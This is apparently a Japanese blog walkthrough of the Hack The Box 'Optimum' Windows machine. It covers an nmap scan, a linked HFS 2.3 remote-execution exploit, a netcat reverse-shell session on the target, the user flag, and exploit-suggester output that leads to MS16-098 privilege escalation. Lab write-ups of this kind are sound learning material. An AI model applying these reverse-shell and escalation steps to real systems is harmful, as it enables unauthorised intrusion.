こんにちは。グレープ粗茶です。

前回の記事にてCSPを取り上げるといいましたが、それはまた今度でm(__)m
ところで最近ペンテストをやり始めました。これが難しいもので、攻略に時間が掛かるため睡眠を挟んでしまうことが多々あります。なので攻略しながらメモを取っているので、それをブログに載せていこうかなと思います。
ということで、初回はhack the boxからeasy レベルのwindows machineをやっていきます。

Created: May 06, 2020 5:37 PM f:id:grapesoda204:20200509000838p:plain

nmap

# Nmap 7.80 scan initiated Wed May  6 04:07:14 2020 as: nmap -A -oA output -Pn 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.18s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  6 04:07:45 2020 -- 1 IP address (1 host up) scanned in 31.10 seconds

一つしか空いてないのでこれを検索する。

HFS2.3 のエクスプロイトコードを探す。

すると、下のようなコードが出てきた。

https://gist.github.com/AfroThundr3007730/834858b381634de8417f301620a2ccf9

とりあえず、自分のディレクトリにnc.exeをいれて、そこでサーバーを立ち上げつつ、シェルを待ち受ける。

すると、簡単にシェルが返ってきた。

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.8: inverse host lookup failed: Unknown host
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.8] 49186
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

C:\Users\kostas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D0BC-0196

 Directory of C:\Users\kostas\Desktop

12/05/2020  08:02 ��    <DIR>          .
12/05/2020  08:02 ��    <DIR>          ..
18/03/2017  03:11 ��           760.320 hfs.exe
18/03/2017  03:13 ��                32 user.txt.txt
               2 File(s)        760.352 bytes
               2 Dir(s)  31.895.085.056 bytes free

C:\Users\kostas\Desktop>type user.txt.txt 
type user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

権限昇格

windows-privilege-suggester.pyを利用して列挙してもらう。
使い方としては、最初にwindows machineでsysteminfoを実行して返ってきた出力をkaliに持ってくる。そして、xlsxを指定して実行する。
アップデートをすることでxlsxファイルは自動ダウンロードされる。

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical

うーん長い。。
[E][M]とか出ているが、[E]がexploitDBからの推奨、[M]がmetasploitからの推奨となっている。
初手でMetasploitは使わないということにしてるので、ExploitDBから推奨されてるものを上から刺していく。上から二つ目のエクスプロイトを刺すことができた。(MS16-098)

Offensive Security's Exploit Database Archive

これでroot権限を得ることができたので、administrator のdesktopにあるテキストを読む。